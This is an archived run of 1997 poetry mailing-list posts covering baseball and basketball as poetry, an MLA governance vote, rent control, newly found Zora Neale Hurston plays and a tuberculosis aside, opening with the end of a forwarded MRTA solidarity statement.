The MRTA has expressed its willingness to continue struggling for peace with social justice, the only peace that lasts, but if this peaceful path is closed one more time, we have decided to continue the struggle by other means, and we are greatful for the international solidarity of all of the people in the world that have seen in our struggle the revalidation of their own struggles, the hope of building a better world, without hunger, without unemployment, without neoliberalism.

Neither surrendering, nor conquered... The struggle continues!

International Represenation of the MRTA April 1997

Honor To The Martyrs Of The Edgar Sanchez Commando!
Tupac Amaru Lives! The Struggle Continues!
MRTA Solidarity Page - http://burn.ucsd.edu/~ats/mrta.htm

END
~~~

FOUR WINDS STUDENT MOVEMENT
www.fwsm.org

↑ Index

881. **Matthias Regan**
Re: ReHoops
Fri 25 Apr 1997

---

so much I'd like to say about sports over wine and poorly cooked pasta (my fault) two other members of the list & I argued for hours in Chicago (if you didn't know, the best "sports city" in the US, with only Boston and perhaps Pittsburgh not far behind) about whether there was any difference between sports (in general) and the arts (in general), specifically basketball and theater and cam to no clear conclusions watching a game, a good novel the ordered & relatively slow pace of baseball must be part of the poetic appeal--a couple people have said so so far--but to my mind the appeal is much more in the patriotism baseball is made a symbol of, the history of it, the fact that it is usually played outside in a stadium around dusk those things to my mind make it poetic but a certain kind of poetry is evoked another kind by basketball I think the aesthetic I'm associating with baseball is closely linked, through small-town & borough business-sponsored softball games, to the oxen pull (SP, if you read this thanks for the poem how was your reading?) described below:

(((by the by, is watching oxen pull concrete slabs really a sport? or a staged spectacle? and whats the difference?)))

> *What's wonderful about this sport is that the oxen (unlike horses in the otherwise identical sport of horse-pulling) are truly as stolid as oxen--they exhibit absolutely no change in affect or mood.*

So true! I'm really serious when I remember the first sort of sad eternal mystical feeling that got me started writing (juvenile) poetry found its greatest material presence in NH state and county fairs

> *that the vast bulk of the time*
> *is spent in loading the sledge further, leading in the teams of oxen,*
> *hitching, rehitching, unhitching, etc.*

I always liked this aspect of it as well. Because it was both part of the spectacle and not at once. I always had the sensation, very enjoyable, at those fairs of seeing "behind the scenes" while looking directly at them; an aspect of "carnival" (the adjective) little discussed and related, a priori or not I'm not sure, to shabiness...

In other news the Bulls open their post-season-season tonight against the Bullets I haven't heard if Dennis will be back tonight, or Toni

the thing about MJ is he's really an intellectual player now; I swear he gets the same hang time with his fade away jumps as he used to with his glides and drives Bill Wennington said yesterday in the paper that MJ has invented some

little move no one's ever seen before in every game he's been in for the last five years and MJ has played every game of every season since he returned

Matthias, late in the day

Matthias Regan
Northwestern University
Department of Chemistry
Phone: 847/[redacted]

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882. David Golumbia
URGENT: MLA VOTE (fwd)
Fri 25 Apr 1997

Marc Bousquet wrote:
Date: Fri, 25 Apr 1997 18:12:22 -0400
From: Marc Bousquet <[redacted]>
Subject: URGENT: MLA VOTE
  [redacted], esa-l <[redacted]>,
  AmGroup-L <[redacted]>
To: [redacted]
Content-Length: 2726

PLEASE FORWARD TO LANGUAGE AND LITERATURE DEPARTMENTS AND LISTS

Please get a stamp and read carefully.

In the next few days, MLA members will be asked to vote on several propositions. Some, like the resolution committing the organization to a more activist stance on the employment crisis, are likely to pass by a large majority.

Others are more controversial and need to be thought about more carefully. Chief in this second group are the CONSTITUTIONAL AMENDMENTS (1-4 on the ballot). These all transfer power to the 14-member Executive Council, taking it from from the 270-member Delegate Assembly (which includes graduate students, new scholars, and delegates for Composition, Continuing Ed, Creative Writing, Disabled, Ethnic Studies, Gays and Lesbians, Independent Scholars, and Women in the Profession).

The concerns fueling these amendments are often legitimate. But the crippling of the single most diverse and democratic governance body in any scholarly society is not the answer.

The MLA Graduate Student Caucus urges MLA members to vote NO or ABSTAIN to CONSTITUTIONAL AMENDMENTS 1-4.

There are 12,000 graduate student members of MLA. The GSC-MLA Steering Committee 1997:

Vicky Smallman McMaster U, Canada Leo Parascondola CUNY Graduate School Mary Refling Columbia University Matthew Kirschenbaum U Virginia Will Murphy Indiana University Shelley Reid Austin College Anthony Xaco Navarrete UC San Diego Kate Burns UC San Diego christian a. gregory U Florida dave lashmet U Florida christine macdonald U Colorado Greg Rubinson U Rochester Kirsten M. Christensen U Texas, Austin Ray Watkins U Texas, Austin Andy Fleck Claremont Graduate School Jodi Schorb UC Davis Joe Aimone UC Davis Kate Stavisky U West Virginia Barbara White U Pittsburgh Alan Rea Bowling Green SU Yoshie Furuhashie Ohio State University Marc Bousquet CUNY Graduate School Granville Ganter CUNY Graduate School Eric Marshall CUNY Graduate School

--
[redacted]
David Columbia

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883. **robert drake**
Re: Looking for Mr. Goodba--no, Joe Napora
Fri 25 Apr 1997

---

delayed response, but joe's BULLHEAD mag is now online:

http://ram.ramlink.net/~napora/bullhead.htm

(thanx to karl young via his Light & Dust site fr the alert...)

luigi

↑ Index

884. **Poetics List**
CFP: Whiteness and Cultural Identity (5/10; SAMLA) (fwd)
Sat 26 Apr 1997

---------- Forwarded message ----------
Date: Tue, 22 Apr 1997 15:43:07 -0700 (MST)
From: "Jeffrey W. Timmons" <[redacted]>

To: Poetics List <[redacted]>
Subject: CFP: Whiteness and Cultural Identity (5/10; SAMLA) (fwd)

---------- Forwarded message ----------
Date: Tue, 22 Apr 1997 16:34:29 -0400 (EDT)
From: Tim Engles <[redacted]>
To: [redacted]
Subject: CFP: Whiteness and Cultural Identity (5/10; SAMLA)

Call for Papers -- 1997 SAMLA Conference, Nov. 13-15, Atlanta, GA Special Session: Whiteness and Identity

Numerous articles, conferences, and books have recently addressed from various perspectives the topic of "whiteness." Areas of interest within whiteness studies include such questions as whether or not there is a "white culture"; whether or not "whites" should or do identify themselves as such; and how the lives of racialized minorities are influenced by the dominant order's favoring of supposedly white skin, by the pervasive presence of unspoken "white" values, mores, and presumptions. How do authors portray the influence of such forces on the self-conceptions formed by "people of color" and/or "whites"? Abstracts are invited that address how authors (either marked as "white" and/or in other ways) portray the influence of unspoken whiteness on constructions of identity.

Please send abstracts by May 10 to:

Tim Engles
University of Georgia
Department of English
254 Park Hall
Athens, GA 30602

(e-mail submissions accepted as well)

==========
From the Literary Calls for Papers Mailing List
[redacted]
Full Information at
http://www.english.upenn.edu/CFP/
or write Jack Lynch: [redacted]

==========

↑ Index

885. **Poetics List**
Library Company job opening (fwd)
Sat 26 Apr 1997

sorry if I sent the other one more than once or twix

having thrubbles here-
jk

---------- Forwarded message ----------
Date: Tue, 22 Apr 1997 17:40:49 -0700 (MST)
From: "Jeffrey W. Timmons" <[redacted]>
To: Poetics List <[redacted]>
Subject: Library Company job opening (fwd)

please forward this to someone who might need/want it.

---------- Forwarded message ----------
Date: Tue, 22 Apr 1997 09:43:26 -0400
From: Ruth Hughes <[redacted]>
To: [redacted]
Subject: Library Company job opening

I am posting this in the hope that someone on the list is or has a grad student in need of a job. This is a great place to work if you are interested in the 18th century.

Library Assistant Position at the Library Company of Philadelphia.

The Library Company of Philadelphia, a rare book research library specializing in early American history, seeks a paraprofessional library assistant. Duties include reference assistance to patrons, paging books from stacks, card catalog maintenance, cataloging reference books, and miscellaneous clerical duties in support of professional catalogers and reference staff. A bachelors degree and computer literacy are required; an interest in American history or literature, library experience, or course work in library science are desirable. Starting salary, low 20s.

Applicants should be prepared to start work by August. Send a resume with names of three references to Phil Lapsansky, Chief of Reference, Library Company of Philadelphia. 1314 Locust St., Philadelphia, PA 19107. The Library Company is an equal opportunity employer.

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886. **Poetics List**
NOTICE FROM YOUR INFORMATION BROKERS
Sat 26 Apr 1997

You will notice that no one received any mail on friday as the list exceeded its daily limit of 50 messages and I was not available to "free poetics" (which is the listserv command I send to release the held messages). I apologize for having other things to do, like the current Zukfofsky conference: yowie it has been great! The combination of Mark Scroggins, Ira Nadel and Paul Zukofsky on one stage was too much for me. I loved it! They were all great and it was the first real congenial conversation I've ever witnessed in Buffalo. Joseph Conte gave one of the best and most useful papers I've seen here while the "Man from Maine" Burt Hatlen (who surely stands 7 feet tall) exercised his readerly prowess while dangling us over the precipice of A-13. I'm also moving out of my apartment into the street where I hope to get to know what it is like to be online and have no place to live. I hope to be at the public library again sometime soon.

Y'all in the mean time might think about adding a little to your posts, perhaps not sending a post to every post you see (but rather taking it in a little before responding). It's not volume of posts but quantity that causes this problem. besides, if you've got nothing to do, what's to keep you from writing in the same message?? just an idea, a suggestion, if this sounds too much like hitler for ya, well, you can stuffa baloney sandwish through the lines--i'm really hungry--
love and kisses, your friendly poetics janitor

↑ Index

887. **Mark Weiss**
Re: ReHoops
Sat 26 Apr 1997

Sport is in the eye of the beholder. Basketball has always struck me as balletic. Spectacle without the swans. For those of us old enough baseball has little to do with patriotism except for the relative democracy of the sandlot, and not much to do with norman rockwell or suburban anything. It was the dust of an empty-lot game or timing the action for between the cars in a side street stickball match. You didn't need much--no court, no hoop, just a ball, a few shared gloves, and any kind of bat-substitute. And no adult intervention.

At 04:38 PM 4/25/97 -0500, you wrote:
>so much I'd like to say about sports over wine and poorly cooked pasta
>(my fault) two other members of the list & I argued for hours in Chicago (if
>you didn't know, the best "sports city" in the US, with only Boston and
>perhaps Pittsburgh not far behind) about whether there was any difference

>between sports (in general) and the arts (in general), specifically
>basketball and theater and cam to no clear conclusions watching a
>game, a good novel
> the ordered & relatively slow pace of baseball must be part of the
>poetic appeal--a couple people have said so so far--but to my mind the
>appeal is much more in the patriotism baseball is made a symbol of, the
>history of it, the fact that it is usually played outside in a stadium
>around dusk those things to my mind make it poetic but a certain kind
>of poetry is evoked another kind by basketball I think the aesthetic
>I'm associating with baseball is closely linked, through small-town &
>borough business-sponsored softball games, to the oxen pull (SP, if you read
>this thanks for the poem how was your reading?) described below:
>
> (((by the by, is watching oxen pull concrete slabs really a sport? or a
>staged spectacle? and whats the difference?)))
>
>>>What's wonderful about this sport is that the oxen (unlike horses in the
>>>otherwise identical sport of horse-pulling) are truly as stolid as
>>>oxen--they exhibit absolutely no change in affect or mood.
>
> So true! I'm really serious when I remember the first sort of sad
>eternal mystical feeling that got me started writing (juvenile) poetry found
>its greatest material presence in NH state and county fairs
>
>
>>> that the vast bulk of the time
>>>is spent in loading the sledge further, leading in the teams of oxen,
>>>hitching, rehitching, unhitching, etc.
>
> I always liked this aspect of it as well. Because it was both part of
>the spectacle and not at once. I always had the sensation, very enjoyable,
>at those fairs of seeing "behind the scenes" while looking directly at them;
>an aspect of "carnival" (the adjective) little discussed and related, a
>priori or not I'm not sure, to shabiness...
>
>
> In other news the Bulls open their post-season-season tonight against
>the Bullets I haven't heard if Dennis will be back tonight, or Toni
>
> the thing about MJ is he's really an intellectual player now; I swear
>he gets the same hang time with his fade away jumps as he used to with his
>glides and drives Bill Wennington said yesterday in the paper that MJ has

>invented some little move no one's ever seen before in every game he's been
>in for the last five years and MJ has played every game of every season
>since he returned
>
> Matthias, late in the day
>
>Matthias Regan
>Northwestern University
>Department of Chemistry
>Phone: 847/[redacted]
>
>

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888. **Mark Weiss**

Re: Poem for Rent

Sat 26 Apr 1997

You're right: you can't speak for New York or Massachussets.

At 10:19 PM 4/24/97 -0700, you wrote:
>Paleeze! It's certainly a good idea to bother state senators whenever
>possible with one's poems, but there are certainly greater social justice
>issues than rent control and whatever ideas you may have about being
>persecuted by your landlord. What about the failure of our government to
>build more affordable housing for low and moderate income tenants and the
>general gutting of HUD happening this year?
>
>I can't speak for New York or Massachusetts, but here in California rent
>control (without vacancy decontrol) helps upper middle class tenants over
>and above everyone else. In fact, just about every major demographic
>study of both Santa Monica and Berkeley shows rent control (without
>vacancy decontrol) DECREASED the number of low and moderate income
>tenants as the housing market shrank. Ethnic diversity took a dive too.
>Now I'm talking about rent control not rent stabilization. They
>ARE different.
>
>Anyway, the poetics list isn't the place for me to take issue with Daniel
>Bouchard or to note the fact that I generally agree with him on poetry
>and politics. Anyone who wants to backchannel and have me crunch the
>numbers for them I'd be happy to.
>
>Anyone who wants a unit with hardwood floors and a liberal-lefty poet

>landlord on premises in Santa Monica, forget it. It's rent controlled so we
>never have vacancies.
>
>
> On Wed, 23 Apr 1997, Daniel Bouchard wrote:
>
>> Good for Brendan Lorber!
>> & May what happened in Massachusetts, not come to pass in New York.
>>
>> Since rent control was banned in Massachusetts, former rent control ten-
ants
>> (aka "protected status") have faced rent increases anywhere from 50-300%.
>> What have cities done to help all the people who are now vulnerable to
>> "market rates?" Nuttin. Except, in Cambridge at least, the city has set up
>> a board to "assist" people in moving out of their apartments and, since all
>> the rents in the city have skyrocketed, effectively move out of the city.
>> Left on their own, city government does this kind of thing, and then they
>> praise themselves for it in the press.
>>
>> There are alternatives though (for anyone in NY, or anywhere else facing
>> this situation).
>>
>> Last week, after months of campaigning, tenant organizing, lobbying, etc.,
>> a group called the Eviction Free Zone saw through city council orders in
>> Cambridge that 1) transferred over 1 and 1/2 million dollars into the
>> Affordable Housing Fund (from the "free cash" coffer) and 2) designed a
>> transfer tax on residential sales in Cambridge--with the first $300,000
>> exempted that will provide a substantial revenue for replenishing
>> affordable housing funds. This is going to the State House in a week or
>> so, where Governor Weld has already stated that he will veto ANY taxation
>> bill that does not have a local referendum attached to it. So in the
>> drafting of the bill, the EFZ insisted that such a referendum be attached.
>> We are very confident of being able to see that it passes in the fall.
>> Next on the agenda is securing a 20 million dollar bond for the immediate
>> purchase of apartment buildings on the market to be made permanently
>> affordable housing.
>>
>> It's incredible the arguments that were made against all of our efforts. I
>> am growing confident that the real estate interest is second in power in
>> this country only to the military/defense interest. One argument: "if we
>> put through this transfer tax it will hinder young and struggling families
>> from buying homes in Cambridge." A glance at the Sunday house

>> advertisements indicate the median price range for a house in this city to
>> be well beyond the means of any "young and struggling families." In fact, I
>> have come across more than enough families who have lived in Cambridge
all
>> their lives and who cannot afford it anymore. Their children will have to
>> settle elsewhere.
>>
>> Anyway, it's been a long road, and it's certainly far from over. Hours of
>> meetings and talk complicated by time given for both Creole and Hispanic
>> translators, etc. But it can be done, and good luck to anyone facing this
>> dismal prospect. Back channel me if you want more info. on the work we've
>> done here.
>>
>> [redacted]
>>
>>
>> Brenda,
>>
>> How can I get a copy of Lorber's poem?
>>
>
>

↑ Index

889. Christina Fairbank Chirot
Re: Baseball & Poetry
Sat 26 Apr 1997

By far one of the best books by a poet on/with/for baseball is Willie's Throw, by Paul Metcalf. You can read it at Karl Young's Light and Dust Poets at http://www.thing.net/~grist/homekarl.htm

Metcalf includes the box score of the game he's working with--box scores being in themselves a form of poetry.

I have often thought an interesting method of "literary criticism" could be developed by applying Bill James' Sabremetrics to writers. (See James' superb Historical Baseball Abstract as example--)

A good deal can still be learned from a favorite book of Virginia Woolf's (and mine--i reread it each Spring Training in preparation forthe season. TIME BEGINS ON OPENING DAY as they say)--You Know Me, Al by Ring Lardner. Lardner knew how to telegraph voices.

"Shut up he explained."

Also recommended: The Glory of their Times (interviews with ballplayers from the first two decades of this century) and Baseball When the Grass Was Green. Paul Metcalf's first book, Will West, is about an American Indian pitcher . . .

Here's to Joachim Andujar and Mickey Rivers--two great baseball poets -- dave baptiste chirot

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890. **Aldon L. Nielsen**

Fwd: FYI: Zora Neale Plays Discovered (fwd)

Sat 26 Apr 1997

This just in from D.C. by way of New Orleans!

---------- Forwarded message ----------
Date: Fri, 25 Apr 1997 19:00:23 -0400 (EDT)
From: [redacted]
To: charliebraxton&johnnierobinson <[redacted]>,
colinchanner <[redacted]>,
"derricki.m.gilbert" <[redacted]>,
kevinpowell <[redacted]>,
kwamesenunevilledawes <[redacted]>,
michaelwarr <[redacted]>,
"valeriej.boyd" <[redacted]>, asantesalaam <[redacted]>,
[redacted], [redacted], [redacted], [redacted],
[redacted], [redacted], [redacted],
[redacted], [redacted], [redacted],
[redacted], [redacted], [redacted], [redacted],
[redacted], [redacted], [redacted],
[redacted], [redacted], [redacted],
[redacted], [redacted], [redacted],
A#[redacted], [redacted],
[redacted], [redacted], [redacted],
[redacted], [redacted], [redacted],
[redacted], [redacted], [redacted]
Subject: Fwd: FYI: Zora Neale Plays Discovered

this is kalamu,

just received this from another list i'm on. give thanx. FYI&C (For Your Information & Celebration)!!!

Forwarded message:
From: [redacted]
Resent-from: [redacted]
To: [redacted]
Date: 97-04-25 17:35:36 EDT

4/25/97

> *From Thursday's Washington Post.....*

Audrey'97
****

> *Hurston Plays Discovered*

Find at Library of Congress May Shed New Light on Black the Writer

By William Triplett
Special to The Washington Post
Thursday, April 24 1997; Page B02
The Washington Post

The Library of Congress staffers were just looking for a little lunch-time entertainment, but they came up with a slice of literary history: 10 carbon copies, largely forgotten, of play manuscripts by the late African American writer and folklorist Zora Neale Hurston.

Alice Birney, a literary specialist in the Manuscript Division, coordinates the library's Performing Arts Forum, whose members meet monthly over lunch to hold informal readings of dramatic texts that are in the public domain. After a recent meeting, Birney said, a forum member suggested doing something by Hurston. A subsequent check into copyright records turned up the 10 scripts, all of which had been submitted for copyright between 1925 and 1944 as unpublished plays.

Four of the scripts -- "Woofing," "Poker," "Forty Yards" and "Lawing and Jawing" -- are short sketches in dialogue form. The remaining six -- "Cold Keener," "De Turkey and de Law," "Meet the Mamma," "Polk County," "Spunk" and "Mule-Bone" -- are full-length works. Only the last two appear to have been published, but not until 1991 and after adaptation to another medium.

Victoria Sanders, a literary agent who represents the Hurston estate, said yesterday that the heirs have known about the scripts in the library's collection "since the early '90s, when a copyright search was done." Indeed, a 1989 bibliography of Hurston's works included all the above titles. It did not, however, indicate whether copies of the works still existed.

Several Hurston scholars contacted yesterday were intrigued by the discovery.

"There isn't that much of [Hurston's] work that survives," said Patricia Willis, curator of Yale University's Collection of American Literature. "That's what makes this discovery so exciting."

"This is very significant," said Joellen Elbashire, curator of Howard University's Moorland-Spingarn Research Center, which is considered, along with Yale, to be among the most extensive repositories of Hurston manuscripts. Yet Yale and Howard combined have copies of only three of the 10 titles found in the library. According to Lois Hurston Gaston, a Hurston heir, it's uncertain whether there are copies of the other works in other archives. The library's seven "might be the only copies," she said.

Moreover, as Robert E. Hemenway, chancellor of the University of Kansas and author of a Hurston biography, said, "All 10 are going to be of interest to scholars" because Hurston was known for using a given title for more than one work. For example, "she wrote a number of things called `Polk County,' " Hemenway said. The script in the library's collection "may or may not be" the same as any of the other identically titled works.

Hurston, who grew up in Florida and studied at Howard University before moving to New York, was known primarily for her novels, in particular "Their Eyes Were Watching God," published in 1937. But she had a diverse career that included stints as teacher, journalist, librarian and anthropologist as well as dramatist. She became a key figure in the Harlem Renaissance and, in the words of Kathy A. Perkins in her book "Black Female Playwrights," was eventually "the most prolific and widely published female black writer of her era."

Still, Hurston was unable to support herself through her writing, which at times provoked attacks from black intellectuals. "She was criticized for perpetuating stereotypes in her work," said Kristy Anderson, an independent filmmaker who is making a biography of Hurston, who died in poverty and relative obscurity in 1960 at the age of 69.

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****

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891. **william marsh**
Re: ReHoops
Sat 26 Apr 1997

At 06:46 PM 4/24/97 -0700, you wrote:
>One reason why the Bulls are so much fun to watch is that they are so old.
>The old teams were pretty successful and interesting to watch. this year.
>The Jazz are old. The Sonics are pretty old. The Suns are old. The &*%$#@!
>Knicks are old.
>
Jordan is 34, i believe, and aren't the other "seasoned veterans" about the same, or even younger? / sometimes disconcerting how age is factored so differently in sports / i'm one year younger than Sir Air, and yet have the understanding i'd be classified as a "young writer", n'est-ce-pas? (don't the folks at Yale let anyone 40 and under submit to the Younger Poet's prize?) / also heard Kareem has turned 50 -- is that true?

[uh oh - are we allowed to give personal ages on this list?]

>Also, the Bulls are so international. They have an Australian, a Canadian,
>a Croat (or is he a Serbian--I cant remember or tell the difference), a
>Martian and a bunch of USAmericans.
>
Kukoc is Croatian, yes / and don't forget the two Ari-zonies, Kerr and Buchler (sp?)

bill marsh

↑ Index

892. **David R. Israel**
p i n g p o n g
Sat 26 Apr 1997

On Fri, 25 Apr 1997, Tom Mandel wrote:

> *What about ping pong? How can we not mention ping pong, another great language game. Joan Retallack is an *excellent* ping pong player; she has a table in her garage. I can beat her though; I am a reeeally good ping pong player! I take on all comers. What about it?*

this reminds that Meher Baba was quite fond of ping-pong, and is said to have played very well. (He also favored a game called "7 tiles" --more a local Maharashtra sport, I think). It's hard to mention ping-pong w/o recalling ping-pong diplomacy. I'd be happy to go a round w/ you sometime, Tom, though I can't claim to be an expert.

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I much enjoyed Huun-Huur-Tu's concert up at Symphony Space (NYC) a couple-three years ago (had a nice cassette of theirs, too, but don't know what became of it; this was before I had a CD player) . . . Tuvan music is wonderful -- but it's ESPECIALLY wonderful live. (Perhaps that's true of most lovely musics.)

Another entry in Armand Schwerner's international lineup also seemed of some note:

> *Margi Madhu, kudiyattam dancer*

that's, if I'm not mistaken, a dance-form from Orissa (north Indian state on the east coast, next to Bengal) -- I saw one kudiyattam dancer years ago in Berkeley & was much impressed w/ the lyricism of the form -- indeed remarkable.

The Dragon Bond Rite composer, Jin-Hi Kim, was featured on the cover of an issue (which naturally we called the "Jin-Hi Kim issue") of EAR Magazine, circa 1990. She plays a remarkable Korean instrument w/ long strings -- probably similar to the old Chinese chin -- which I think is the same instrument about which Chuang-Tze had that lovely tale (circa 3rd century BC), abt. two friends. One played the chin, another listened. The listener and player were in such perfect accord, that when the former died, the latter broke the strings of his chin -- for there was remained no one able to hear the music as it should be heard. . . .

I wonder of A. Schwermer might be willing to say a word or two about what he's written for this new music/theatre work (playing, as noted in post of yesterday, in NYC in early June) -- and if (for instance) it has any spoken words, or what? . . .

d.i.

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\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\/////\\\\\
  >   david   raphael   israel    <
  >>      washington  d.c.      <<
| ▇▇▇▇▇▇▇      (home)
| ▇▇▇▇▇▇▇      (office)
==========================
|   thy centuries follow each other
|   perfecting a small wild flower
|                                (Tagore)
//////////////////////////////////////////\\\\\/////
```

↑ Index

894. **David R. Israel**

Re: ReHoops / Yale Youngsters

Sat 26 Apr 1997

Bill Marsh muses on time's passage --

> *Jordan is 34, i believe, and aren't the other "seasoned veterans" about the same, or even younger? / sometimes disconcerting how age is factored so differently in sports / i'm one year younger than Sir Air, and yet have the understanding i'd be classified as a "young writer", n'est-ce-pas? (don't the folks at Yale let anyone 40 and under submit to the Younger Poet's prize?) / also heard Kareem has turned 50 -- is that true?*

Yes the folks at Yale do so let. They let me submit for several years running -- I sent 'em my MS *Orison* twice, and I think I sent 'em my MS *A Bowl of China* twice (last time being in February 1996). At that point I thought it was my final submission. But this year, I realized that, since I was still just 40, I could give it one last shot. But somehow or other, I inadvertantly let the deadline slip by w/o getting the MS in the mail (& the $25 entry fee check with it).

So I've been spared from fame & glory after all (oddly). The Yale Younger Poets competition has but two entry requirements: one must (i) be 40 years or younger, and (ii) have never yet published a po-book. Guess I was drawn to the Yale game mainly bec. W.S.Merwin and John Ashbery -- two of my serious faves -- had both published first volumes under that august (if not to say septemberal) rubric. (Now it's added to my annals of non-history.)

best,
d.i.

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 .
 .....
 ............
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895. Alan Jennifer Sondheim
Foundations of European Metaphysics
Sun 27 Apr 1997

Ground

Cassell's Compact Latin Dictionary

earth, soil == humus, solum, terra [humid soil terrapin, sole solar rockets terraplaning, terraforming soiled humus] on the ground == humi [Rumi] place, position == locus [locale, location, luscious looking] reason, basis == causa, ratio [Grund, Grundwerk, Panties, Rations] on the ground that == quod [because of, "quid"]

Collins Latin-English English-Latin Dictionary

bottom == solum [earth, soil, above, above-ground] earth == terra, humus [humdrum terrain, humorous Ground-breaking] cause == ratio, causa [above, above-Grund, above-Grundwerk, Panty-liner] sediment == faex [false sentiments, groundless presuppositions] on the ground == humi [almost, "as if dead," whirled worlds Grundless] gain ground == proficiere [proficient in Metaphysics, Foundations] rumour == increbrescere ["increbulous," said <strike>Jennifer</strike>] lose ground == cedere [acceded dispersions of metaphysical foundations military == inclinare [which are inclined to reified instantiations, vt == instituere [institutions, not _as if,_ but vi (ship) == sidere [sail-less, rudderless, on the high seas]

↑ Index

896. Chris Stroffolino
Re: TUBERCULOSIS (and individuals)
Sun 27 Apr 1997

There comes a time in the life of ( ) when "one" must risk
sounding STUPID or at least UNTHEORETICAL....
And, concerning the questions raised by the phrase
"there are no individuals", one may, I think, respond that
to say THERE SHOULD BE NO INDIVIDUALS (or at least they should be consigned
to something that doesn't have the status of poetry) is not the same as
saying THERE ARE NO INDIVIDUALS.....
and so what about this GAP?
We can retheorize alot,
The esso of individualism can become the EXXON of
"false consciousness subject position" etc.

but what about "EVERY MAN FOR HIMSELF" or James Brown
"I GOT MINE DON'T WORRY ABOUT HIM".....
Oh, we're SO MUCH BETTER THAN THAT....la di da....
we could cry, in unison (as in inversion of that scene in "life of brian" concerning said individual)
But lets say one may find that he has many of the symptoms
of TUBERCULOSIS, and let's say that one has no HEALTH CARE and can not afford
healthcare....
Well, if there are no INDIVIDUALS, this shouldn't be a problem, right?
Because "ask not for whom the TUBERCULOSIS tolls, it
tolls for thee" and "I can almost smell your tb sheets" and
we can all check into the FUND FOR POETRY'S HEALTH CLINIC that allows one to
be properly diagnosed and then given the cure. How far does "community" go?
So, how does one GET OVER TB without having to check into a hospital? Does one simply die?
Oh, of course, these questions have nothing to do with poetics....
Write this 100 times on the board....
----------Chris S.

↑ Index

897. Dan Raphael Dlugonski

Or-Wa-Id

Sun 27 Apr 1997

For those of you in the hinterlands of the above named states, to let you
know i (dan raphael) will be reading this week:
4/29 in LaGrande at Eastern Oregon State College, 7:30
4/30 in Kennewick at the Starbucks, 7:30
5/1 in Moscow at BookPeople, (7:30?) and
5/2 in Walla Walla at The Temple, 7

↑ Index

898. Field of Roses

Re: TUBERCULOSIS (and individuals)

Sun 27 Apr 1997

> *But lets say one may find that he has many of the symptoms*
>
> *of TUBERCULOSIS, and let's say that one has no HEALTH CARE and can not afford healthcare....*
> *Well, if there are no INDIVIDUALS, this shouldn't be a problem, right?*

'But let's say one'...

The treatment for TB is usually a triple drug therapy for 1-2 years, (usually provided free by a local public health clinic, as it is in their interest to stop the spread of this contagious disease within a population.) If one suspects they may have TB, it is paramount that they be immediately diagnosed and treated. Hospitalization is usually for one week and is ONLY for those whose diagnosis is still unclear and who may be contagious.

Linda Charyk Rosenfeld

↑ Index

899. David R. Israel
Re: TUBERCULOSIS (and individuals)
Sun 27 Apr 1997

> >But lets say one may find that he has many of the symptoms
> >of TUBERCULOSIS,
<snip>
> 'But let's say one'...
>
> The treatment for TB is usually a triple drug therapy for 1-2 years,
<snip>
> Linda Charyk Rosenfeld

not sure that either the original leapin' hypothetical, nor the helpful medical clarification, have altogether illuminated my understanding of the theory and practice of non-individuality.

For the record (but not the CD, shy goto ex-dreams?), I'll say this:

imho, individuality was not recently invented, nor will it be soon stamped out. It is an essential trait of "the soul in illusion" --

and well-founded rumor has it that "a spark of individuality" survives even nirvana & the subsequent nirvakalpa samadhi. Vide (for instance) Meher Baba, *God Speaks* (Dodd, Mead & Co., 1955), *passim*, for many useful (& I dare say clarifying) details of this overall (or, forsooth, oversoul) ur-narrative.

best,
d.i.
.
.....
.....
\\/////\\\\\
> david raphael israel <

```
  >>     washington  d.c.     <<
| [redacted]     (home)
| [redacted]     (office)
==========================
|  thy centuries follow each other
|  perfecting a small wild flower
|                              (Tagore)
//////////////////////////////////////\\\\\/////
```

↑ Index

900. **William Burmeister Prod**

Re: Fwd: FYI: Zora Neale Plays Discovered (fwd)

Sun 27 Apr 1997

This is indeed exciting! Being from her neck of the woods (Brooksville, a small town some 70 miles west from Eatonville where she grew up, and where she collected much of her folklore), I follow her work with a keen interest. She has helped preserve the idiom of a people who, though they lived in abject poverty, celebrated life richly in their language and customs. I hope that these plays and their lively language are all published together soon.

Bill B.

RE:

> *Hurston Plays Discovered*

Find at Library of Congress May Shed New Light on Black
the Writer

By William Triplett
Special to The Washington Post
Thursday, April 24 1997; Page B02
The Washington Post

The Library of Congress staffers were just looking for a
little lunch-time entertainment, but they came up with a
slice of literary history: 10 carbon copies, largely
forgotten, of play manuscripts by the late African American
writer and folklorist Zora Neale Hurston.

Alice Birney, a literary specialist in the Manuscript
Division, coordinates the library's Performing Arts Forum,
. whose members meet monthly over lunch to hold informal
readings of dramatic texts that are in the public domain.
After a recent meeting, Birney said, a forum member
suggested doing something by Hurston. A subsequent check

into copyright records turned up the 10 scripts, all of which had been submitted for copyright between 1925 and 1944 as unpublished plays.

Four of the scripts -- "Woofing," "Poker," "Forty Yards" and "Lawing and Jawing" -- are short sketches in dialogue form. The remaining six -- "Cold Keener," "De Turkey and de Law," "Meet the Mamma," "Polk County," "Spunk" and "Mule-Bone" -- are full-length works. Only the last two appear to have been published, but not until 1991 and after adaptation to another medium.

Victoria Sanders, a literary agent who represents the Hurston estate, said yesterday that the heirs have known about the scripts in the library's collection "since the early '90s, when a copyright search was done." Indeed, a 1989 bibliography of Hurston's works included all the above titles. It did not, however, indicate whether copies of the works still existed.

Several Hurston scholars contacted yesterday were intrigued by the discovery.

"There isn't that much of [Hurston's] work that survives," said Patricia Willis, curator of Yale University's Collection of American Literature. "That's what makes this discovery so exciting."

"This is very significant," said Joellen Elbashire, curator of Howard University's Moorland-Spingarn Research Center, which is considered, along with Yale, to be among the most extensive repositories of Hurston manuscripts. Yet Yale and Howard combined have copies of only three of the 10 titles found in the library. According to Lois Hurston Gaston, a Hurston heir, it's uncertain whether there are copies of the other works in other archives. The library's seven "might be the only copies," she said.

Moreover, as Robert E. Hemenway, chancellor of the University of Kansas and author of a Hurston biography, said, "All 10 are going to be of interest to scholars" because Hurston was known for using a given title for more than one work. For example, "she wrote a number of things called `Polk County,' " Hemenway said. The script in the library's collection "may or may not be" the same as any of the other identically titled works.

Hurston, who grew up in Florida and studied at Howard University before moving to New York, was known primarily for her novels, in particular "Their Eyes Were Watching God," published in 1937. But she had a diverse career that included stints as teacher, journalist, librarian and anthropologist as well as dramatist. She became a key figure in the Harlem Renaissance and, in the words of Kathy A. Perkins in her book "Black Female Playwrights," was eventually "the most prolific and widely published female black writer of her era."

